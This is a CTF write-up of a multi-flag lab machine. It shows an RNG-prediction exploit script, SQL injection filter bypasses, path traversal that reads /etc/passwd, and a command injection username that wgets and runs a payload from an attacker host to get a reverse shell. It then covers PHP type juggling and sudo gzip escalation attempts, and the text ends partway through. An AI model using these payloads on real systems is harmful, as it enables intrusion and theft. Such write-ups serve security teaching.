Warpnet CTF 2024 – Final Challenge

At the end of September, we hosted an online week-long Capture The Flag event on our Hacklabs platform. This post goes through the solution to this final challenge!

Warpnet icon
Warpnet CTF 2024 – Final Challenge

At the end of September, we hosted an online week-long Capture The Flag event on our Hacklabs platform. Participants had lots of fun playing and solving the challenges, and learning from each other after the competition. This ended with a finale at our office where the best participants played one final challenge to distribute the prizes. This post goes through the solution to this final challenge!

Enumeration

This challenge consists of 9 flags hidden across various services and levels of depth in the machine. Multiple paths exist to reach the end.

Starting with enumeration, an nmap of the machine (10.8.0.82) shows the following open ports:

$ sudo nmap -Pn -n -sV -sC -O -vv -oN nmap.txt -p- -sS -T4 10.8.0.82
...
Nmap scan report for 10.8.0.82
Host is up, received user-set (0.019s latency).
Scanned at 2024-10-19 15:58:08 CEST for 116s
Not shown: 65529 closed ports
Reason: 65529 resets
PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 61 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp   open  http        syn-ack ttl 61 Werkzeug/3.0.4 Python/3.11.2
| http-auth:
| HTTP/1.1 401 UNAUTHORIZED\x0D
|_  Basic realm=Authentication Required
139/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2
445/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 4.6.2
1337/tcp open  waste?      syn-ack ttl 61
3306/tcp open  mysql       syn-ack ttl 61 MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1

On this server, an SSH server is running on port 22, an HTTP server on port 80 requiring authentication, an SMB server on ports 139 and 445, and a MySQL server open on port 3306. Another unknown service on port 1337 is also open. We will explore these one by one.

Port 1337: Casino RNG Manipulation

If we connect to port 1337 using netcat (nc), we get a ton out [DEBUG] output before a menu asking us to flip a coin or roll a dice:

$ nc -v 10.8.0.82 1337
Connection to 10.8.0.82 1337 port [tcp/*] succeeded!
[DEBUG] ZnJvbSB0ZXJtY29sb3IgaW1wb3J0IGNwcmludApmcm9tIGNvbG9yYW1hIGltcG9ydCBGb3JlCmZyb20gYmFz
...
ZiJZb3Ugd2luISEhIHtGTEFHfSIsICJ5ZWxsb3ciKQogICAgICAgICAgICBicmVhawogICAgZWxzZToKICAgICAgICBjcHJpbnQoIkludmFsaWQgY2hvaWNlISIsICJyZWQiKQo=
[DEBUG] (3, (2147483648, 1887914744, 2756020746, 201810272, 3359707872, 3156406226, 2992947414, 1530504030, 2648658794, 228605079,
...
4239002166, 3110075729, 11230755, 3014065313, 3922022629, 1767810001, 624), None)

Welcome to the Casino!

1. Flip coin
2. Roll dice
Choice:

The first line of debugging output looks suspiciously like Base64. After decoding the string using CyberChef, we get the following Source Code:

from termcolor import cprint
from colorama import Fore
from base64 import b64encode
import random

from secret import FLAG

cprint(f"[DEBUG] {b64encode(open(__file__, 'rb').read()).decode()}", "dark_grey")
cprint(f"[DEBUG] {random.getstate()}", "dark_grey")

print()
cprint("Welcome to the Casino!", "yellow", attrs=["blink"])

def coin_art(result):
    if result == "Heads":
        return """  ╓────╖\n ╔╝    ╚╗\n╔╝ █ █  ║\n║  █▀█ ╔╝\n╚╗ ▀ ▀╔╝\n ╙────╜"""
    else:
        return """ ╓────╖\n╔╝    ╚╗\n║  ▀█▀ ╚╗\n╚╗  █   ║\n ╚╗ ▀  ╔╝\n  ╙────╜"""

def dice_art(n):
    if n == 1:
        return """┌───────┐\n│       │\n│   •   │\n│       │\n└───────┘"""
    elif n == 2:
        return """┌───────┐\n│ •     │\n│       │\n│     • │\n└───────┘"""
    elif n == 3:
        return """┌───────┐\n│ •     │\n│   •   │\n│     • │\n└───────┘"""
    elif n == 4:
        return """┌───────┐\n│ •   • │\n│       │\n│ •   • │\n└───────┘"""
    elif n == 5:
        return """┌───────┐\n│ •   • │\n│   •   │\n│ •   • │\n└───────┘"""
    elif n == 6:
        return """┌───────┐\n│ •   • │\n│ •   • │\n│ •   • │\n└───────┘"""

sixes = 0
while True:
    print()
    print("1. Flip coin")
    print("2. Roll dice")
    choice = input("Choice: " + Fore.LIGHTCYAN_EX) or choice
    print(Fore.RESET)
    if choice == "1":
        result = random.choice(["Heads", "Tails"])
        cprint(coin_art(result) + f"\nThe coin landed on {result}!", "green")
    elif choice == "2":
        result = random.randint(1, 6)
        cprint(dice_art(result) + f"\nThe dice roll was {result}!", "green")
        if result == 6:
            sixes += 1
            cprint(f"Nice, your streak is at {sixes}/100.", "green")
        else:
            sixes = 0
            cprint(f"Not a 6, your streak is back to 0.", "light_red")

        if sixes == 100:
            cprint(f"You win!!! {FLAG}", "yellow")
            break
    else:
        cprint("Invalid choice!", "red")

Reading the code, the first flip coin option just executes random.choice() between two strings and prints the result with some ASCII art. Next, the roll dice option seems more interesting. If the result of random.randint(1, 6) happened to be 6, your stream stored in sixes is increased by one. When you don’t roll a six, however, your streak is reset. When you reach a streak of 100 sixes in a row, the flag is printed.

Mathematically, you won’t just get lucky by trying to roll the dice until you succeed. The probability of rolling a six is 1/6, which you need to do 100 times. Even if you would be able to do millions of attempts per second, it would take many universe lifetimes until you would hit a stream of 100. (calculation)

Instead, we have to abuse a vulnerability in the program. The second like of [DEBUG] output shows a large array that comes from random.getstate(). Reading the documentation, we find that another method called random.setstate() exists that takes the output of this object to reproduce a random state. This can be used to make predictions about what the random generator’s next output will be:

>>> import random
>>> state = random.getstate()
>>> random.getrandbits(32)
3774869789
>>> random.getrandbits(32)
2344517096
>>> random.setstate(state)  # Reset the random state
>>> random.getrandbits(32)
3774869789
>>> random.getrandbits(32)
2344517096

The above shows that we can recover the full state of the RNG with this method to know in advance what it will output. Using the logic of the application, one idea would be to check locally if the next random.randint(1, 6) would be a 6, and if it is not, flip coins (random.choice()) until it is. Only then roll the dice to ensure it is always a six!

We can implement this in Python to automate the process. The pwntools library helps with TCP interaction, and tqdm has a nice and simple progress bar. We will synchronize the random state with the remote server, and then flip coins until the dice would become a 6. Then, we roll the dice on the remote connection and do so for 100 rounds. This prints the flag at the end:

from pwn import *
from tqdm import tqdm

p = remote("10.8.0.82", 1337)

p.recvline()  # skip source code
state = p.recvline().split(b"[DEBUG] ")[1].split(b"\x1b")[0]
state = safeeval.const(state)
random.setstate(state)  # sync random state


for i in tqdm(range(100), desc="Rounds"):
    # Synchronize state and iterate until the next dice roll is 6
    while random.randint(1, 6) != 6:
        random.setstate(state)
        random.choice(["Heads", "Tails"])
        p.sendlineafter(b"Choice: ", b"1")
        state = random.getstate()

    p.sendlineafter(b"Choice: ", b"2")
    tqdm.write(p.recvline_contains(b"streak"))

p.interactive()  # CTF{y0U_mU5t_B3_v3e3eEE3ry_LuCKY}

SMB Share: PCAP Decryption

On ports 139 and 445, an SMB share is present. Without authentication, we can list the shares and find one named Final:

$ smbclient -L '//10.8.0.82' -U '%'

Sharename       Type      Comment
---------       ----      -------
Final           Disk      
IPC$            IPC       IPC Service (Samba 4.17.12-Debian)

Connecting to it, we find one file named intercepted.zip, which we can retrieve:

$ smbclient '//10.8.0.82/Final' -U '%'
Try "help" to get a list of possible commands.
smb: \> ls
  .                    D        0  Wed Oct  2 22:25:09 2024
  ..                   D        0  Wed Oct  2 22:25:08 2024
  intercepted.zip      N    74214  Wed Oct  2 22:25:09 2024

                50620216 blocks of size 1024. 46381328 blocks available
smb: \> get intercepted.zip
getting file \intercepted.zip of size 74214 as intercepted.zip (589.2 KiloBytes/sec) (average 589.2 KiloBytes/sec)

After unzipping this file, we find final.pcapng and file.log:

$ unzip intercepted.zip
Archive:  intercepted.zip
  inflating: final.pcapng
  inflating: file.log
$ file final.pcapng file.log
final.pcapng: pcapng capture file - version 1.0
file.log:     ASCII text, with CRLF line terminators

The file.log appears to be a TLS log file, containing handshake secrets:

$ head file.log
# SSL/TLS secrets log file, generated by NSS
CLIENT_HANDSHAKE_TRAFFIC_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 952a30ad79baead50e0980b56deee3e8a4875f95d4687b18793f36381971903f
SERVER_HANDSHAKE_TRAFFIC_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 be949785a33829b2f463a73d327b00588db1c304f1683f58ce058f601ae7e823
CLIENT_HANDSHAKE_TRAFFIC_SECRET bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 d060a08cd1f87fd8d6752413c18d2e564117b3c8a67ffc97e9a4b3ce97b8e413
SERVER_HANDSHAKE_TRAFFIC_SECRET bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 221ef1787bf1ed9457dccd794cf1c10b3b5aec09dbcaed79a8c856bc43202e71
CLIENT_TRAFFIC_SECRET_0 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 47821337da2a1d042b640331c4299f32a5106f8714090dbddd648bbfc5d0258d
SERVER_TRAFFIC_SECRET_0 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 66b4b833b79c7327bc2b32da93b074371f3c60c7072cd9c60cf9595c3348b200
EXPORTER_SECRET 891e51ebab72da9ade15c1630eebeffd34c05538d2fb77385f391a85db2f9cf6 84f5fce76f38d53f7fd8f29461696f85c607cb02bbe4a86f539de079ce39d59f
CLIENT_TRAFFIC_SECRET_0 bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 7b41d30167eb04c53bd912590f9e5e63104e2ee789efdaa563032cda12f17522
SERVER_TRAFFIC_SECRET_0 bfe67bb03e21808f0b445256a4079362c7a88381305d1742de75a1bea45862b3 16df67c12ea5bee3bfef9094a7fe2f063082acc0ff4c4f90d051b6b74d648553

The .pcapng file can be opened in Wireshark. This shows many different protocols, including a small tls part. If we search about how to decrypt this TLS traffic, the Wireshark documentation explains that in the preferences, a (Pre-)-Master-Secret log file can be selected. This sounds a lot like what is given in file.log.

In Wireshark, we need to open Edit->Preferences and expand the Protocols section. Then, find TLS in this list and click Browse on the last option. If we select our file.log here and press OK, we find that all the tls traffic has been decrypted!

Looking at the Server Hello message of the TLS handshake, we find a new tab named Decrypted TLS. This contains the encrypted data about the certificate that is sent to the client. It includes a flag in multiple parts of the certificate, the issuer and subject.

Flag: CTF{TLS_C3RT1F1C4T3_F0UND}

PCAP: Extracting PDF

There is now http traffic that posts to a /upload URL with Content-Type: application/pdf. We can try to extract this data manually, but Wireshark has an option in File -> Export Objects -> HTTP… to Save all objects to any directory. This will write the /upload form data including the PDF.

$ cat upload
-----------------------------1285009858361488843608501223
Content-Disposition: form-data; name="file"; filename="Ticket ID.pdf"
Content-Type: application/pdf

%PDF-1.7
...
38585
%%EOF
-----------------------------1285009858361488843608501223--

The file appears to still contain form boundaries, but PDF looks for the header and trailer at any location in the file. If we just rename it to upload.pdf, we can open it with any PDF reader. Here, we read the following:

Ticket ID: #195521
Ticket Title: Issue Connecting to server
Description: I’m experiencing an issue while trying to connect to an internal application on my Linux machine. When I attempt to launch the app via the terminal, I’m receiving the following error message

user@ubuntu:~$ ./connect.sh
Please provide password: [BLURRED_PASSWORD]
[ERROR] Connection failed: Unable to reach the server
[ERROR] Timeout occurred during handshake
[ERROR] CTF{D0NT_BL4R_P4SSW0RDS}
[ERROR] Exiting application with code 1

I’ve already tried the following troubleshooting steps:

  1. Verified network connectivity (pinged the server, which responded correctly).
  2. Restarted the application and my machine.
  3. Checked the firewall settings—nothing seems to be blocking the application.

Let me know if you need any additional information. Thank you!

A flag can be found in the contents: CTF{D0NT_BL4R_P4SSW0RDS}

PDF: Unblurring Password

An image is placed over the Please provide password: prompt with what looks to be a blurred password. We can extract the full image using Python or the pdfimages command:

$ pdfimages upload.pdf -all out
$ file out-000.png
out-000.png: PNG image data, 205 x 15, 8-bit/color RGB, non-interlaced

The image is still unreadable to the human eye, but tools such as Depix exist to try and brute force characters and match the generated blurred squares. Running this tool over the image with the debruinseq_notepad_Windows10_closeAndSpaced.png example usage, a slightly readable image is generated.

depix -p out-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o unblurred.png

The image is still unreadable to the human eye, but tools such as Depix exist to try and brute force characters and match the generated blurred squares. Running this tool over the image with the debruinseq_notepad_Windows10_closeAndSpaced.png example usage, a slightly readable image is generated.

Hello from the other side

You might have also recognized the image/text from the example in the Depix documentation.

This password allows us to log in to the Web Application on port 80. The username is user as found on the console in the PDF (user@ubuntu:~$).

$ curl -D - 'http://10.8.0.82'
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.0.4 Python/3.11.2
Date: Sat, 19 Oct 2024 15:11:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 19
WWW-Authenticate: Basic realm="Authentication Required"
Connection: close

Unauthorized Access

The web application requires ‘Basic Authentication’, which curl supports with -u:

$ curl -D - -u 'user:Hello from the other side' 'http://10.8.0.82'
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.4 Python/3.11.2
Date: Sat, 19 Oct 2024 15:12:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 197
Location: /ftp/
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/ftp/">/ftp/</a>. If not, click the link.

We are successfully authenticated and can now access the web application on /ftp/.

Web Application: SQL Injection

An alternative method of authenticating to the web application without the PDF extraction and password unblurring is by attacking the Basic Authentication scheme it uses.

Inputting any wrong combination just results in an “Unauthorized Access” message:

$ curl -u 'user:pass' 'http://10.8.0.82/'
Unauthorized Access

We can try some special characters in the username and/or password to see if the application responds differently:

$ curl -u 'user")]}{[(*%:pass")]}{[(*%' 'http://10.8.0.82/'
Blocked symbol: '('

It sure does! But it is blocking one of our special characters. We can remove it and continue until we find which aren’t blocked:

$ curl -u 'user")]}{[*%:pass' 'http://10.8.0.82/'
Blocked symbol: ')'
$ curl -u 'user"]}{[*%:pass' 'http://10.8.0.82/'
Blocked symbol: '*'
$ curl -u 'user"]}{[%:pass' 'http://10.8.0.82/'
Blocked symbol: '%'
$ curl -u 'user"]}{[:pass' 'http://10.8.0.82/'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ']}{[" AND password="pass"' at line 1
$ curl -u 'user":pass' 'http://10.8.0.82/'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'pass"' at line 1

Suddenly, a MySQL error appears! This happens when we only put a " character in our username/password. A great sign at SQL Injection. The SQL statement we are attacking is likely similar to this:

SELECT * FROM users WHERE username = "user" AND password = "pass";
-- Injected:
SELECT * FROM users WHERE username = "user"" AND password = "pass";

Normally, we could bypass this by continuing the syntax of the query after closing the username quote. Using " OR 1=1;-- - as a payload, it should make the condition always true and ignore the password:

SELECT * FROM users WHERE username = "" OR 1=1;-- -" AND password = "pass";
$ curl -u 'user" OR 1=1;-- -:pass' 'http://10.8.0.82/'
Blocked keyword: 'OR'

Unfortunately, the filter also blocks keywords like “OR”, and it is case-insensitive. Even if we were able to find a different useful keyword here, the = and - characters are blocked as well.

Commenting out the rest of the query isn’t entirely needed in this case, because we can just repeat the always-true payload for the username in the password to pass its check. The question is, how do we make a condition always true with all these filters blocking special characters and keywords?

We can check the documentation for more operators like OR. Instead of working with booleans, MySQL can also perform integer operations on strings by silently casting them. The following page can be used to easily play around with queries to understand what is happening.

https://www.db-fiddle.com/f/928DfgRkMHCZri3ryqhWuu/0

Let’s take the following query, and understand what happens:

SELECT * FROM users WHERE username=""-0;

When running it on DB Fiddle, all records are returned. Why is that? Well, we need to evaluate the WHERE expression just like MySQL would. We need to understand “Type Conversion” and “Operator Precedence”.
Subtraction happens before equals, and strings that don’t look like numbers are converted to 0. We look at the expression here and see that it evaluates to the following:

username=""-0;
"user"=""-0;
"user"=(""-0);
"user"=0;
0=0;
1;
TRUE;

That is why the weird expression above resulted in all records being returned. Still, - is a blocked character, but maybe we can come up with different unblocked operators that abuse these same rules. This turns out to be pretty easy because all we need to do is implicitly cast the input string to an integer, which will be 0, and is then always compared to another 0.

The / (divide) operator has an alternative representation as DIV. By dividing a string by a number like 1, it is turned into 0, equaling the other string that also casts to 0. The following works:

SELECT * FROM users WHERE username=""DIV 1;

However, this still isn’t enough because our injection also ends with a " character. If we were to inject username=""DIV"";, the strings would cast to 0 and 0/0 = null. username=null won’t be true, so we won’t bypass the check. Instead, we can make the string cast to 1 by letting it be "1":

SELECT * FROM users WHERE username=""DIV"1";
-- What happens in the background:
SELECT * FROM users WHERE "user"=(""DIV"1");
SELECT * FROM users WHERE "user"=(0 DIV 1);
SELECT * FROM users WHERE "user"=0;
SELECT * FROM users WHERE 0=0;
SELECT * FROM users WHERE TRUE;

This creates an always-true condition and bypasses the SQL Injection filter in the application, successfully logging us in when put in both the username and password:

$ curl -u '"DIV"1:"DIV"1' 'http://10.8.0.82/'
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/ftp/">/ftp/</a>. If not, click the link.

This allows us to look at the authenticated /ftp/ page.

Web Application: Local File Read

After authenticating, the web page looks like this:

$ curl -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/'
<h1>WebFTP</h1>
<ul>
 <li><a href="/ftp/?filename=file.txt">file.txt</a></li>
 <li><a href="/ftp/dir">dir/</a></li>
</ul>
<form method="post" enctype="multipart/form-data">
 <input type="file" name="file" />
 <input type="submit" value="Upload" />
</form>

We can upload and download files here, like an FTP server. All endpoints detect the use of ../ for path traversal vulnerabilities, but one parameter misses this check. When downloading the file, the URL path and filename parameter are appended together. This URL path that serves as the directory is missing a ../ check, allowing it to traverse to any directory:

Tip: When using curl or the browser, ../ sequences in the path are automatically removed and won’t be sent to the remote server. Use a proxy like Burp Suite or the --path-as-is argument to have more control.

$ curl --path-as-is -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/../../../etc?filename=passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

This allows us to enumerate the server. From looking at the headers, we know that a Python server is hosting this application. Using only a single ../ sequence, we can hopefully traverse outside of the files/ directory into the source code. Then, Python applications often have a requirements.txt file which we can read to confirm:

$ curl --path-as-is -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/../?filename=requirements.txt'
Flask
Flask-HTTPAuth
mariadb

Next, we can try to find the source code itself in app.py or main.py:

$ curl --path-as-is -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/../?filename=app.py'
File not found
$ curl --path-as-is -u 'user:Hello from the other side' 'http://10.8.0.82/ftp/../?filename=main.py'
from flask import Flask, redirect, render_template, request, send_file, Response
from flask_httpauth import HTTPBasicAuth
...

Great, we found the main source code file. Here, we find a database configuration with credentials. We remember from the nmap output that MySQL is exposed to the outside, so we can try to connect to it.

app = Flask(__name__)
auth = HTTPBasicAuth()
DB_CONFIG = {
    'host': 'localhost',
    'port': 3306,
    'user': 'webftp',
    'password': 'D@t4b4s3_P@55w0rd_f0r_W3bFTP!_2cacfa07',
    'database': 'webftp'
}
...
@auth.verify_password
def verify_password(username, password):
    for input in [username, password]:
        for blocked in ["UNION", "SELECT", "WHERE", "AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP"]:
            if re.search(rf"\b{re.escape(blocked)}\b", input, re.IGNORECASE):
                raise ValueError(f"Blocked keyword: {blocked!r}")
        for blocked in "()&|^=<>+-*/%":
            if blocked in input:
                raise ValueError(f"Blocked symbol: {blocked!r}")

    data = sql_query(
        f"SELECT username FROM users WHERE username=\"%s\" AND password=\"%s\"" % (username, password))

    if len(data) > 0:
        os.system(f"echo '{data[0][0]} logged in' >> /var/log/webftp.log")
        return True

We can also notice the verify_password() function with the SQL Injection filter from earlier, as well as a suspicious os.system() call with output from the SQL query.

Let’s connect to the database and enumerate it:

$ mysql -h 10.8.0.82 -u webftp -p webftp
Enter password: D@t4b4s3_P@55w0rd_f0r_W3bFTP!_2cacfa07

MariaDB [webftp]> show tables;
+------------------+
| Tables_in_webftp |
+------------------+
| flag             |
| users            |
+------------------+
2 rows in set (0.019 sec)

MariaDB [webftp]> select * from flag;
+--------------------------------------------------+
| flag                                             |
+--------------------------------------------------+
| CTF{cr4ck3d_th3_d4t4b453?_n0w_cr4ck_th3_5y5t3m!} |
+--------------------------------------------------+
1 row in set (0.023 sec)

Another flag found: CTF{cr4ck3d_th3_d4t4b453?_n0w_cr4ck_th3_5y5t3m!}

Web Application: Command Injection

Above we have just gotten access to the database, and found the logic of logging in. os.system() is called with the username after a successful login, input enclosed on ' quotes. We could inject '; id; ' to execute an arbitrary id command. The user doesn’t exist yet, but with access to the database, we can create it. Note that if we want to input the username later, we need to still bypass the blocked characters from the SQL Injection filter. Either by finding the initial Login Bypass which doesn’t require inputting the username, or by making a payload that doesn’t require any blocked characters:

MariaDB [webftp]> UPDATE users SET username="';rm index.html;wget 10.9.0.77;sh index.html;'";
Query OK, 1 row affected (0.055 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [webftp]> select * from users;
+----+------------------------------------------------+---------------------------+
| id | username                                       | password                  |
+----+------------------------------------------------+---------------------------+
|  1 | ';rm index.html;wget 10.9.0.77;sh index.html;' | hello from the other side |
+----+------------------------------------------------+---------------------------+
1 row in set (0.024 sec)

Now we host our payload to download, and a reverse shell, then log in to trigger it:

$ curl --path-as-is -u "';rm index.html;wget 10.9.0.77;sh index.html;':Hello from the other side" 'http://10.8.0.82/'
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.96.1 - - [19/Oct/2024 21:56:38] "GET / HTTP/1.1" 200 -
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 192.168.96.1 1976
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We now have a shell! After enumerating the system for a bit, you may notice the /getflag binary:

$ ls -la /
total 540
...
-rwx--x--x   1 root   root    474704 Oct  2 20:26 getflag

Running it will grant one flag of the current user (www-data). It also explains that there are two more user flags for the admin and root user.

$ getflag
Get the flag for the current user. Only 'www-data', 'admin' and 'root' have flags.
Congratulations!
www-data's flag is: CTF{dubdubdub_f0r_y0u_n3v3r_tru5t_th3_d4t4b453}

Environment Variables

During enumeration, you may have run LinPEAS. One of its steps is to look at the Environment Variables for interesting information.

$ env
SUPERVISOR_GROUP_NAME=webftp
HISTCONTROL=ignorespace
HOSTNAME=8eaa3d121ffd
PWD=/opt/webftp
HOME=/root
FLAG=CTF{h0p3_y0u_d1dnt_n0t1c3_m3_t00_14t3...}
WERKZEUG_SERVER_FD=3
TERM=xterm-256color
SHLVL=3
LC_CTYPE=C.UTF-8
PS1=$(command printf "\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ ")
SUPERVISOR_PROCESS_NAME=webftp
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SUPERVISOR_ENABLED=1
_=/usr/bin/env

We find a FLAG environment variable containing another flag: CTF{h0p3_y0u_d1dnt_n0t1c3_m3_t00_14t3...}

Internal PHP app: Type Juggling

After more enumeration, we find a few applications inside /opt/ by various users:

$ ls -l /opt
total 16
drwx------ 1 root     root     4096 Oct  2 20:25 casino
drwxrwxrwx 1 php      php      4096 Oct  2 20:25 signify
drwxr-xr-x 1 root     admin    4096 Oct  2 20:25 super-reader
drwxrwxrwx 1 www-data www-data 4096 Oct 19 20:01 webftp

The signify application has a readable index.php file, and a non-readable secret.php file. Listing the open ports using ss internally, we can find a 127.0.0.1:8080 application. This is the Signify application.

$ ls -l
total 8
-rw-rw-rw- 1 php php 613 Oct  2 20:25 index.php
-rw------- 1 php php  95 Oct  2 20:25 secret.php

$ ss -tulpn
Netid     State      Recv-Q      Send-Q           Local Address:Port            Peer Address:Port     Process
udp       UNCONN     0           0                   127.0.0.11:52253                0.0.0.0:*
tcp       LISTEN     0           4096                127.0.0.11:34883                0.0.0.0:*
tcp       LISTEN     0           80                     0.0.0.0:3306                 0.0.0.0:*
tcp       LISTEN     0           50                     0.0.0.0:139                  0.0.0.0:*
tcp       LISTEN     0           128                    0.0.0.0:80                   0.0.0.0:*         users:(("ss",pid=175,fd=3),("bash",pid=133,fd=3),("sh",pid=132,fd=3),("script",pid=131,fd=3),("bash",pid=111,fd=3),("bash",pid=110,fd=3),("sh",pid=109,fd=3),("sh",pid=106,fd=3),("python3",pid=50,fd=3))
tcp       LISTEN     0           4096                 127.0.0.1:8080                 0.0.0.0:*
tcp       LISTEN     0           128                    0.0.0.0:22                   0.0.0.0:*
tcp       LISTEN     0           5                      0.0.0.0:1337                 0.0.0.0:*
tcp       LISTEN     0           50                     0.0.0.0:445                  0.0.0.0:*
tcp       LISTEN     0           50                        [::]:139                     [::]:*
tcp       LISTEN     0           128                       [::]:22                      [::]:*
tcp       LISTEN     0           50                        [::]:445                     [::]:*

$ curl localhost:8080
No command provided

By reading the source code we can learn what the application expects:

<?php
require 'secret.php';

function generate_signature($data) {
    global $signing_key;
    $hash = hash_hmac('sha256', $data, $signing_key);
    return substr($hash, 0, 4) . '-' . substr($hash, 4, 4);
}

if (isset($_GET['command'])) {
    $command = $_GET['command'];
    $signature = generate_signature($command);
    if ($signature == $_GET['signature']) {
        if (str_starts_with($command, 'getflag')) {
            echo $flag . "\n";
        } else {
            die("Command not found\n");
        }
    } else {
        die("Invalid signature\n");
    }
} else {
    die("No command provided\n");
}

The ?command= parameter must be provided, and a signature based on its value is calculated to then compare with the &signature= parameter. If the command starts with getflag, a flag is returned.

The signature algorithm seems to be using an unknown $signing_key from the secret.php file, which we cannot read. We also cannot leak the signature in any way as it is only ever compared, never returned. The comparison happens with a double-equals operator, which is interesting in PHP because it is the “loose comparison” operator. With triple-equals (===), types would have to match as well as value to become true. With loose comparison, PHP casts strings to integers in a lot of places, even when directly comparing strings:

$ php -a
Interactive shell

php > var_dump("0" == "00");
bool(true)

This can lead to what are know as “Type Juggling” vulnerabilities. When PHP thinks both strings look like numbers, the comparison becomes based on those numbers instead of the strings. Some representations of numbers that PHP recognizes are:

123
0123
0.0123
1e6    = 1000000
2e-2   = 0.02

In our case, the signature is a substring of two parts of a hex sha256 hash:

a1b2-c3d4

We learned that type juggling is only possible if both sides of the comparison are seen as a number, including the generated signature we match against. Could this ever be seen as a number? If we get lucky, all positions may become numeric*, and the 4th character becomes an e. It could look something like this:

123e-6789

This would be seen as a number by PHP, and because this scientific notation results in a tiny number, it evaluates to 0. We can match this with our signature= value:

php > var_dump("123e-6789" == "0");
bool(true)

We just have to get lucky. Exactly how lucky, we can calculate. 0-9 are good, only a-f are bad characters in all positions (10/16). One of the positions (index 4) needs to be e (1/16). On average, this should take around 1 / ((10/16)**7 * (1/16)) = 429 attempts. Not too difficult in a localhost connection.

We can write a script for it, or use a handy feature of curl to enumerate all possible characters in a character set to go through lots of different inputs:

$ curl -o /dev/null -w '%{url}\n' -s 'http://localhost:8080/[1-3][a-c]'
http://localhost:8080/1a
http://localhost:8080/1b
http://localhost:8080/1c
http://localhost:8080/2a
http://localhost:8080/2b
http://localhost:8080/2c
http://localhost:8080/3a
http://localhost:8080/3b
http://localhost:8080/3c

$ curl -s 'http://localhost:8080/?command=getflag[1-9][1-9][1-9]&signature=0' | grep -v Invalid
CTF{c4n_PHP_g3t_3v3n_CR4Z13R?}

After around a thousand attempts, we pass the check and get printed the flag: CTF{c4n_PHP_g3t_3v3n_CR4Z13R?}

Privilege Escalation: www-data -> admin using gzip

Enumerating privilege escalation options as www-data, we quickly notice that sudo -l shows that we are allowed to execute the gzip binary as admin:

$ sudo -l
Matching Defaults entries for www-data on a38f0773842e:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on a38f0773842e:
 (admin) NOPASSWD: /bin/gzip

This is interesting, and one common method of exploitation is abusing the functionality of gzip in this case to perform actions as admin that allow us to become them. The site GTFOBins collects many techniques to abuse these binaries and even has a section for gzip. It says that we can read files with this but not much else.

One idea would be to read the SSH private key of admin in their ~/.ssh directory, in hopes that they can authenticate as themselves.

$ sudo -u admin gzip -c /home/admin/.ssh/id_rsa | gzip -d
gzip: /home/admin/.ssh/id_rsa: No such file or directory

gzip: stdin: unexpected end of file

It doesn’t appear that a file named id_rsa exists there. There also aren’t any other interesting files to read as admin that we can find. Instead, we should look for more vulnerabilities we can create with gzip ourselves.

gzip normally takes a .gz file as input, decompresses it, and writes it to the same location with .gz stripped off the end. One idea we can try is to place a symlink at the location where gzip will try to write the output file, potentially following the symlink and writing to its destination as admin. One interesting destination would be /home/admin/.ssh/authorized_keys to add our own keys and authenticate as admin through SSH:

$ cd /tmp
$ echo content > keys
$ gzip keys  # creates keys.gz
$ ln -s /tmp/test keys
$ ls -l keys*
lrwxrwxrwx 1 www-data www-data 32 Oct 19 20:38 keys -> /tmp/test
-rw-r--r-- 1 www-data www-data 33 Oct 19 20:38 keys.gz
$ sudo -u admin gzip -d keys.gz
gzip: keys already exists; do you wish to overwrite (y or n)? y
gzip: keys: Operation not permitted

Unfortunately, it seems to be unable to overwrite the symlink, presumably because it checks the permissions of the symlink keys file itself, owned by www-data.

For more ideas, we can check the help page of gzip --help to find all possible options:

$ gzip --help
Usage: gzip [OPTION]... [FILE]...
Compress or uncompress FILEs (by default, compress FILES in-place).

Mandatory arguments to long options are mandatory for short options too.

  -c, --stdout      write on standard output, keep original files unchanged
  -d, --decompress  decompress
  -f, --force       force overwrite of output file and compress links
  -h, --help        give this help
